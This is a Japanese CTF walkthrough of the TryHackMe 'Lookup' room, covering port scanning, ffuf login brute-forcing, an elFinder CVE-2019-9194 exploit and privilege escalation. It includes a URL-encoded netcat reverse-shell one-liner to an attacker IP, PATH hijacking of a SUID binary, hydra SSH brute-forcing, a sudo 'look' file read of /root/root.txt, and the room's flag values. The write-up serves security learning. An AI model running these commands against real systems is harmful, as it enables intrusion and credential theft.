概要
TryHackMe「Lookup」ルームのWalkthroughです。
Task1
Q1.What is the user flag?
ポートスキャンを実行します。
$ nmap -Pn -T4 -sVC -A -p- 10.10.183.228 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| 256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_ 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://lookup.thm
|_http-server-header: Apache/2.4.41 (Ubuntu)
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 8.2p1 |
80 | http | Apache httpd 2.4.41 |
ドメイン名が分かったので/etc/hosts
に追加します。
10.10.183.228 lookup.thm
80
番ポートにアクセスするとログインフォームが表示されました。
ログインに失敗すると3秒後に試せるようです。
サブドメインを列挙します。
$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.lookup.thm" -u http://lookup.thm -fs 0
www [Status: 200, Size: 719, Words: 114, Lines: 27, Duration: 3901ms]
www.lookup.thm
を/etc/hosts
に追記します。
10.10.183.228 lookup.thm www.lookup.thm
しかし、www.lookup.thm
も同一ページへのアクセスでした。
Username: admin
でエラーメッセージの変化が見られました。
admin
アカウントの存在を確認できました。
admin
のパスワードをファジングするとpassword123
が見つかりました。
$ ffuf -w /usr/share/wordlists/rockyou.txt -X POST -u http://lookup.thm/login.php -d 'username=admin&password=FUZZ' -H "Content-Type: application/x-www-form-urlencoded" -fw 8
password123 [Status: 200, Size: 74, Words: 10, Lines: 1, Duration: 246ms]
しかしログインに失敗しました。
さらにユーザー名を列挙するとjose
アカウントを発見しました。
$ ffuf -w /usr/share/seclists/Usernames/Names/names.txt -X POST -u http://lookup.thm/login.php -d 'username=FUZZ&password=pass' -H "Content-Type: application/x-www-form-urlencoded" -fw 10
admin [Status: 200, Size: 62, Words: 8, Lines: 1, Duration: 242ms]
jose [Status: 200, Size: 62, Words: 8, Lines: 1, Duration: 242ms]
jose
アカウントのパスワードを探すと、password123
が見つかりました。
$ ffuf -w /usr/share/wordlists/rockyou.txt -X POST -u http://lookup.thm/login.php -d 'username=jose&password=FUZZ' -H "Content-Type: application/x-www-form-urlencoded" -fw 8
password123 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 239ms]
Username: jose
,Password: password123
でログインに成功すると、files.lookup.thm
にリダイレクトされるので/etc/hosts
に追記します。
10.10.191.231 lookup.thm www.lookup.thm files.lookup.thm
elFinder
のページに遷移しました。
elFinder 2.1.47
だと分かりました。
このバージョンの脆弱性を探すと、CVE-2019-9194
が見つかりました。
適当なjpgファイルをSecSignal.jpg
として用意します。
$ head -5 SecSignal.jpg
����JFIF,,��VExifMM▒>(,,��,Photoshop 3.08BIMZ��
�http://ns.adobe.com/xap/1.0/<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 10.10'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
<rdf:Description rdf:about=''
PoCを実行すると、www-data
のシェルを取得できました。
$ python2.7 exploit.py http://files.lookup.thm/elFinder/
[*] Uploading the malicious image...
[*] Running the payload...
[+] Pwned! :)
[+] Getting the shell...
$ whoami
www-data
ncでリバーシェルを張り、TTYの設定をします。
$ rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%2010.6.55.144%201234%20%3E%2Ftmp%2Ff
$ nc -lvnp 1234
$ python3 -c 'import pty; pty.spawn("bash")'
think
アカウントを発見しました。
$ ls -la /home
total 12
drwxr-xr-x 3 root root 4096 Jun 2 2023 .
drwxr-xr-x 19 root root 4096 Jan 11 2024 ..
drwxr-xr-x 5 think think 4096 Jan 11 2024 think
SUIDを検索すると/usr/sbin/pwm
を発見しました。
$ find / -perm -u=s -type f 2>/dev/null
(省略)
/usr/sbin/pwm
実行すると、id
コマンドを実行し/home/<username>/.passwords
ファイルを使用すると分かりました。
$ /usr/sbin/pwm
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: www-data
[-] File /home/www-data/.passwords not found
/home/think/.passwords
ファイルの存在は確認できました。
$ ls -la /home/think
ls -la /home/think
total 40
drwxr-xr-x 5 think think 4096 Jan 11 2024 .
drwxr-xr-x 3 root root 4096 Jun 2 2023 ..
lrwxrwxrwx 1 root root 9 Jun 21 2023 .bash_history -> /dev/null
-rwxr-xr-x 1 think think 220 Jun 2 2023 .bash_logout
-rwxr-xr-x 1 think think 3771 Jun 2 2023 .bashrc
drwxr-xr-x 2 think think 4096 Jun 21 2023 .cache
drwx------ 3 think think 4096 Aug 9 2023 .gnupg
-rw-r----- 1 root think 525 Jul 30 2023 .passwords
-rwxr-xr-x 1 think think 807 Jun 2 2023 .profile
drw-r----- 2 think think 4096 Jun 21 2023 .ssh
lrwxrwxrwx 1 root root 9 Jun 21 2023 .viminfo -> /dev/null
-rw-r----- 1 root think 33 Jul 30 2023 user.txt
/usr/sbin/pwm
をローカルに持って来て、Ghidraでデコンパイルするとid
コマンドを相対パスで使用しているのが分かりました。
また、idコマンドの結果からユーザー名を抽出し、/home/<username>/.passwords
を操作していることも分かりました。
idコマンドを置き換え、/home/think/.passwords
となるような処理のファイルを作成し、パスを通します。
$ echo '#!/bin/bash' > id
$ echo 'echo "uid=1000(think) gid=1000(think) groups=1000(think)"' >> id
$ chmod +x id
$ export PATH=/tmp:$PATH
再び/usr/sbin/pwm
を実行すると、/home/think/.passwords
の内容を確認できました。
$ /usr/sbin/pwm
/usr/sbin/pwm
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: think
jose1006
jose1004
jose1002
jose1001teles
(省略)
得られたパスワードリストで総当たりするとthink
アカウントのSSHパスワードを特定できました。
$ hydra -f -l think -P think_pass lookup.thm ssh
[22][ssh] host: lookup.thm login: think password: josemario.AKA(think)
think
アカウントでSSH接続に成功しました。
$ ssh think@lookup.thm
think@lookup:~$
/home/think/user.txt
からユーザーフラグを入手できました。
38375fb4dd8baa2b2039ac03d92b820e
A.38375fb4dd8baa2b2039ac03d92b820e
Q2.What is the root flag?
sudo -l
で確認すると、/usr/bin/look
を発見しました。
$ sudo -l
[sudo] password for think:
Matching Defaults entries for think on lookup:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User think may run the following commands on lookup:
(ALL) /usr/bin/look
GTFOBinsを確認すると、テクニックが見つかりました。
ルートフラグを入手できました。
$ LFILE=/root/root.txt
$ sudo /usr/bin/look '' "$LFILE"
5a285a9f257e45c68bb6c9f9f57d18e8
A.****